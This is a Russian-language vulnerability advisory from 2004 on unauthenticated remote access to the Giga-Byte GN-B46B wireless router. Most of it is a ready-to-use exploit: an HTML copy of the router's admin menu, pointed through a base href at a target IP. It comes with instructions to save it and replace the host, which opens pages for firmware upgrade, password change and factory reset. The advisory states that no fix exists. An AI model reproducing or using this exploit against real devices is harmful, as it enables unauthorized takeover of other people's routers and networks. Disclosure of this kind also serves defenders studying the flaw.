Удаленный неавторизованный доступ к GN-B46B broadband wireless router от Giga-Byte Technology

Дата публикации:
26.02.2004
Всего просмотров:
2609
Опасность:
Низкая
Наличие исправления:
Количество уязвимостей:
1
CVSSv2 рейтинг:
CVE ID:
Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID:
Нет данных
Наличие эксплоита:
Нет данных
Уязвимые продукты:
Уязвимые версии: Giga-Byte Technology Router Model GN-B46B; Firmware Version 1.003.00

Описание: Уязвимость обнаружена в GN-B46B broadband wireless router от Giga-Byte Technology. Удаленный пользователь может получить доступ к устройству.

Пример/Эксплоит:

Just copy this to a ".html" file and replace <host> with the target's IP.

------------------------------------ Cut
Here --------------------------------------
<html>htdocs
<head>
<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
<META HTTP-EQUIV="expires" CONTENT="0">
<STYLE> #foldheader {CURSOR: hand}</STYLE>
<base href="http://<host>">
<script language="javascript">
<!--
var lastIndex=-1;
function change(){
    if (event.srcElement.id=="foldheader") {
       var srcIndex = event.srcElement.sourceIndex
       var nested = document.all[srcIndex+2]
       if (nested.style.display=="none") {
          nested.style.display=''
          if (lastIndex>=0)
          {
           nested = document.all[lastIndex]
            nested.style.display="none"
          }
          lastIndex=srcIndex+2;
       }
       else {
         lastIndex=-1;
          nested.style.display="none"
       }

     }
    if (event.srcElement.id=="foldimage") {
       var srcIndex = event.srcElement.sourceIndex
       var nested = document.all[srcIndex+1]
       if (nested.style.display=="none") {
          nested.style.display=''
          if (lastIndex>=0)
          {
           nested = document.all[lastIndex]
            nested.style.display="none"
          }
          lastIndex=srcIndex+1;

       }
       else {
          lastIndex=-1;
          nested.style.display="none"
       }
     }
 

window.self.document.onclick=change
if(document.images){
  image1off=new Image
  image1off.src="../picture/button_setup.gif"

  image1on=new Image
  image1on.src="../picture/button_setup_over.gif"


  image2off=new Image
  image2off.src="../picture/button_status.gif"

  image2on=new Image
  image2on.src="../picture/button_status_over.gif"

  image3off=new Image
  image3off.src="../picture/button_logout.gif"

  image3on=new Image
  image3on.src="../picture/button_logout_over.gif"

  }

function imgOn(imgName){
  if(document.images){
  document[imgName].src=eval(imgName+"on.src")
  }

 

function imgOff(imgName){
  if(document.images){
  document[imgName].src=eval(imgName+"off.src")

  }
 

function MoveOn(which_log, item)
 

  dd = new Date();
  time = dd.getTime();
  offset = dd.getTimezoneOffset();
     item.href = '../cgi-bin/SetData.cgi?LogMenu' + which_log + '\+' +
Math.round(time/1000) + '\+' + offset;
 

//-->
</script>


<title>English</title>
<style type="text/css">
body{font-family: Arial,verdana,Helvetica; font-size: 10pt; line-height:
18px;background:#ffffff;}
.blueBg  {background:#79A7EF;}
.blackBg  {background:#000000;}
.grayBg         {background:#EEEEEE;}
.lightBlueBg
{background:#9FBEEE;font-size:10pt;color:#000000;font-weight:bold;}
.lightBlackBg
{background:#000000;font-size:10pt;color:#FFFFFF;font-weight:bold;}
.whiteBg {background:#ffffff;}
.redText {color:#FF9000;}
.tagText {color:#FF9000;font-weight:bold;background:#ffffff;}
.blueText {color: rgb(0,0,0);}
.orangeText {color:#FF9000;font-weight:bold;}
.heading{color:#000000;font-size:10pt;font-weight:bold;background:#ECF2F4;}
.heading1{color:#3333CC;font-size:10pt;background:#Eeeeee;}
.heading2{color:#3333CC;font-size:10pt;font-weight:bold;background:#ECF2F4;}
.headingLink{font-size:10pt;font-weight:bold;color:#ffffff;}

.title{color:#ffffff;font-size:20pt;font-weight:bold;background:#9FBEEE;}
.titleSub{color:#3333CC;font-size:15pt;font-weight:bold;background:#ffffff;}
.titleSub1{color:#000000;font-size:13pt;font-weight:bold;background:#ffffff;
 
.buttonText{background-color:
rgb(255,144,0);color:#ffffff;font-weight:bold;}

A:link  {color:#FFFFFF; font-style: normal; cursor:
hand;text-decoration:none;}
A:visited  {color:rgb(255,255,255); font-style:
normal;text-decoration:none;}
A:active  {color:#9FBEEE; font-style: normal;text-decoration:none;}
A:hover {color:#9FBEEE; font-style:bold;text-decoration:underline;}

</style>
</head>
<BODY style="background-color: #000000">
<center>
  <table cellpadding=0 cellspacing=0 border=0 width=180 class="blackBg">
  <tr>
  <td height="25" colspan="3"><img src="../picture/spacer.gif"
 width="1"
height="1"></td>
  </tr>
  <tr>
  <td colspan="3"><a href="/htdocs/BasicLANSetup.htm" target=main
onMouseover="imgOn('image1')"; onMouseout="imgOff('image1')">
     <img src="../picture/button_setup.gif" border="0" name="image1"
width="184" height="23"></a></td>
  </tr>
  <!--
  <tr>
  <td colspan="3"><a href="/htdocs/status.htm" target=main
onMouseover="imgOn('image2')"; onMouseout="imgOff('image2')">
     <img src="../picture/button_status.gif" border="0" name="image2"
width="184" height="31"></a></td>
  </tr>
  -->
  <tr>
  <td colspan="3"><a href="../cgi-bin/SetData.cgi?ShowStatus"
href="status.htm" target=main onMouseover="imgOn('image2')";
onMouseout="imgOff('image2')">
     <img src="../picture/button_status.gif" border="0" name="image2"
width="184" height="31"></a></td>
  </tr>

  <tr>
  <td colspan="3"><a href="/htdocs/Logout.htm" target=_top
onMouseover="imgOn('image3')"; onMouseout="imgOff('image3')">
     <img src="../picture/button_logout.gif" border="0" name="image3"
width="184" height="29"></a></td>
  </tr>
  <tr>
  <td colspan="3" height="8"><img src="../picture/spacer.gif" 
width="1"
height="1"></td>
  </tr>
  <tr>
  <td colspan="3">
     <img src="../picture/button_advancedSetup.gif" border="0" width="174"
height="34"></td>
  </tr>
  <tr>
  <td background="../picture/border_left.gif">
     <img src="../picture/border_left.gif" width="15" height="19"><
/td>
  <td>
   <table cellpadding="0" cellspacing="0" border="0" width="160"
class="lightBlackBg">
   <tr>
   <td height="5"><img src="../picture/spacer.gif" width="1" h
eight="1"></td>
   </tr>
   <tr>
   <td valign="top" id="foldheader">
   <img src="../picture/icon_list.gif" align="absmiddle" id="foldimage"
border="0" width="7" height="7">  Network Configur
ation

    <table id="network"  border="0">
    <tr class="headingLink"><td>    <a
href="NetworkSetup3.htm" target=main ><img
src="../picture/icon_list_sub.gif" border="0"  align="absmiddle" width="
7"
height="7"> LAN Configuration</a></td></tr>
    <tr class="headingLink"><td>    <a
href="NetworkSetup2.htm" target=main ><img
src="../picture/icon_list_sub.gif" border="0"  align="absmiddle" width="
7"
height="7"> WAN Configuration</a></td></tr>
    <tr class="headingLink"><td>    <a
href="NetworkSetup1.htm" target=main ><img
src="../picture/icon_list_sub.gif" border="0"  align="absmiddle" width="
7"
height="7"> WAN Setting</a></td></tr>
    </table>
   </td>
   </tr>
   <tr>
   <td valign="top" id="foldheader">
   <img src="../picture/icon_list.gif" align="absmiddle" id="foldimage"
border="0" width="7" height="7">  Wireless Configu
ration
    <table id="wireless"  border="0">
    <tr class="headingLink"><td>    <a
href="WirelessSetup2B.htm" target=main ><img
src="../picture/icon_list_sub.gif" border="0"  align="absmiddle" width="
7"
height="7"> 802.11b</a></td></tr>
    <tr class="headingLink"><td>    <a
href="MACcontrol11b.htm" target=main ><img
src="../picture/icon_list_sub.gif" border="0"  align="absmiddle" width="
7"
height="7"> MAC Access Control</a></td></tr>
    </table>
   </td>
   </tr>

   <tr>
   <td valign="top"><a href="/htdocs/StaticRouting.htm" target=main>
         <img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7">  Static Routing Table</a></td>
   </tr>
   <tr>
   <td valign="top" id="foldheader">
   <img src="../picture/icon_list.gif" align="absmiddle" id="foldimage"
border="0" width="7" height="7">  Virtual Server

    <table id="virtual"  border="0">
    <tr class="headingLink"><td>    <a
href="VirtualServer1.htm" target=main ><img
src="../picture/icon_list_sub.gif" border="0"  align="absmiddle" width="
7"
height="7"> DMZ</a></td></tr>
    <tr class="headingLink"><td>    <a
href="VirtualServer2.htm" target=main ><img
src="../picture/icon_list_sub.gif" border="0"  align="absmiddle" width="
7"
height="7"> PPPoE/DHCP/Static</a></td></tr>
    <tr class="headingLink"><td>    <a
href="VirtualServer3.htm" target=main ><img
src="../picture/icon_list_sub.gif" border="0"  align="absmiddle" width="
7"
height="7"> PPPoE Unnumber</a></td></tr>
    </table>
   </td>
   </tr>
   <tr>
   <td valign="top" id="foldheader">
   <img src="../picture/icon_list.gif" align="absmiddle" id="foldimage"
border="0" width="7" height="7">  Firewall Rule

    <table id="firewall"  border="0">
    <tr class="headingLink"><td>    <a
href="Firewall1.htm" target=main ><img src="../picture/icon_list_sub.gif"
border="0"  align="absmiddle" width="7"
height="7"> Security</a></td></tr>
    <tr class="headingLink"><td>    <a
href="Firewall3.htm" target=main ><img src="../picture/icon_list_sub.gif"
border="0"  align="absmiddle" width="7" height="7">&nb
sp;VPN Pass
Through</a></td></tr>
    <tr class="headingLink"><td>    <a
href="Firewall2.htm" target=main ><img src="../picture/icon_list_sub.gif"
border="0"  align="absmiddle" width="7" height="7">&nb
sp;Static
Rule</a></td></tr>
    </table>
   </td>
   </tr>
   <tr>
   <td valign="top"><a href="/htdocs/DNSReplay.htm" target=main>
         <img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7">  DNS Replay</a></td>
   </tr>
   <tr>
   <td height="7"><img src="../picture/spacer.gif" width="1" h
eight="1"></td>
   </tr>
   </table>
  </td>
  <td background="../picture/border_right.gif">
     <img src="../picture/border_right.gif" width="19" height="19"><
/td>
  </tr>
  <tr>
  <td colspan="3">
     <img src="../picture/button_management.gif" border="0" width="174"
height="31"></td>
  </tr>
  <tr>
  <td background="../picture/border_left.gif">
     <img src="../picture/border_left.gif" width="15" height="19"><
/td>
  <td>
   <table cellpadding="0" cellspacing="0" border="0" width="160"
class="lightBlackBg">
   <tr>
   <td height="5"><img src="../picture/spacer.gif" width="1" h
eight="1"></td>
   </tr>
   <tr>
   <td valign="top"><a href="../cgi-bin/SetData.cgi?ShowPPPMonitor"
target=main>
         <img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7">  PPP Monitor</a></td>
   </tr>
   <tr>
   <td valign="top"><a href="/htdocs/Reboot.htm" target=main>
         <img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7">  Reboot</a></td>
   </tr>
   <tr>
   <td valign="top"><a href="/htdocs/Initialization.htm" target=main>
         <img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7">  Initialization</a></td>
   </tr>
   <tr>
   <td valign="top"><a href="/htdocs/ChangePassword.htm" target=main>
         <img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7">  Change Password</a></td>
   </tr>
   <tr>
   <td valign="top"><a href="/htdocs/ChangeMAC.htm" target=main>
         <img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7">  Change WAN MAC</a></td>
   </tr>
   <tr>
   <td valign="top"><a href="/htdocs/UpgradeFirmware.htm" target=main>
         <img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7">  Upgrade Firmware</a></td>
   </tr>
   <tr>
   <td valign="top"><a href="/htdocs/BackUpRestore.htm" target=main>
         <img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7">  BackUp/Restore</a></td>
   </tr>

   <tr>
   <td valign="top" id="foldheader">
   <img src="../picture/icon_list.gif" align="absmiddle" id="foldimage"
border="0" width="7" height="7">  Log Information

    <table id="log"  border="0">
    <tr class="headingLink"><td>    <a h
ref="#"
target=main onclick="MoveOn('firelog', this)"><img
src="../picture/icon_list_sub.gif" border="0"  align="absmiddle" width="
7"
height="7"> Firewall Log</a></td></tr>
    <tr class="headingLink"><td>    <a h
ref="#"
target=main onclick="MoveOn('connlog', this)"><img
src="../picture/icon_list_sub.gif" border="0"  align="absmiddle" width="
7"
height="7"> WAN Connection</a></td></tr>
    <tr class="headingLink"><td>    <a h
ref="#"
target=main onclick="MoveOn('upnplog', this)"><img
src="../picture/icon_list_sub.gif" border="0"  align="absmiddle" width="
7"
height="7"> UPnP Log</a></td></tr>
    </table>

   </td>
   </tr>

  <!--
   <tr>
   <td valign="top"><a href="../cgi-bin/SetData.cgi?LogMenufirelog+0+0"
target=main onclick="MoveOn('firelog')">
         <img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7">  Log Information</a></td>
   </tr>
  -->

   <tr>
   <td valign="top"><a href="/htdocs/Save.htm" target=main>
         <img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7">  Save Maintenance</a></td>
   </tr>
   <tr>
   <td valign="top"><a href="../others/Help.English.htm" target="_b
lank">
         <img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7">  Help</a></td>
   </tr>
   <tr>
   <td valign="top"><a href="/htdocs/Ping.htm" target=main>
         <img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7">  Ping</a></td>
   </tr>
   <tr>
   <td valign="top"><a href="/htdocs/About.htm" target=main>
         <img src="../picture/icon_list.gif" align="absmiddle" border="0"
width="7" height="7">  About</a></td>
   </tr>
   <tr>
   <td height="5"><img src="../picture/spacer.gif" width="1" h
eight="1"></td>
   </tr>
   </table>
  </td>
  <td background="../picture/border_right.gif">
     <img src="../picture/border_right.gif" width="19" height="19"><
/td>
  </tr>
  <tr>
  <!--<td colspan="3"><img src="../picture/banner_bottom.gif" width="
184"
height="38"></td>-->
  </tr>
  <tr>
  <td colspan="3" height="20"><img src="../picture/spacer.gif"
 width="1"
height="1"></td>
  </tr>

  </table>

</center>

</body>

</html>
<script language="javascript">
if(navigator.appName == "Microsoft Internet Explorer" &&
parseInt(navigator.appVersion) >= 4)
 
  network.style.display = "none" ;
  wireless.style.display = "none" ;
  virtual.style.display = "none" ;
  firewall.style.display = "none" ;
  log.style.display = "none" ;
 
</script>
------------------------------------ Cut
Here --------------------------------------

#######################################################################

---
Rafel Ivgi, The-Insider
http://theinsider.deep-ice.com

"Things that are unlikeable, are NOT impossible."

URL производителя:http://www.giga-byte.com/Communication/Products/Products_Wireless_GN-B46B.htm

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.

Ссылки: igabyte Broadband Router - Multiple Vulnerabilities

или введите имя

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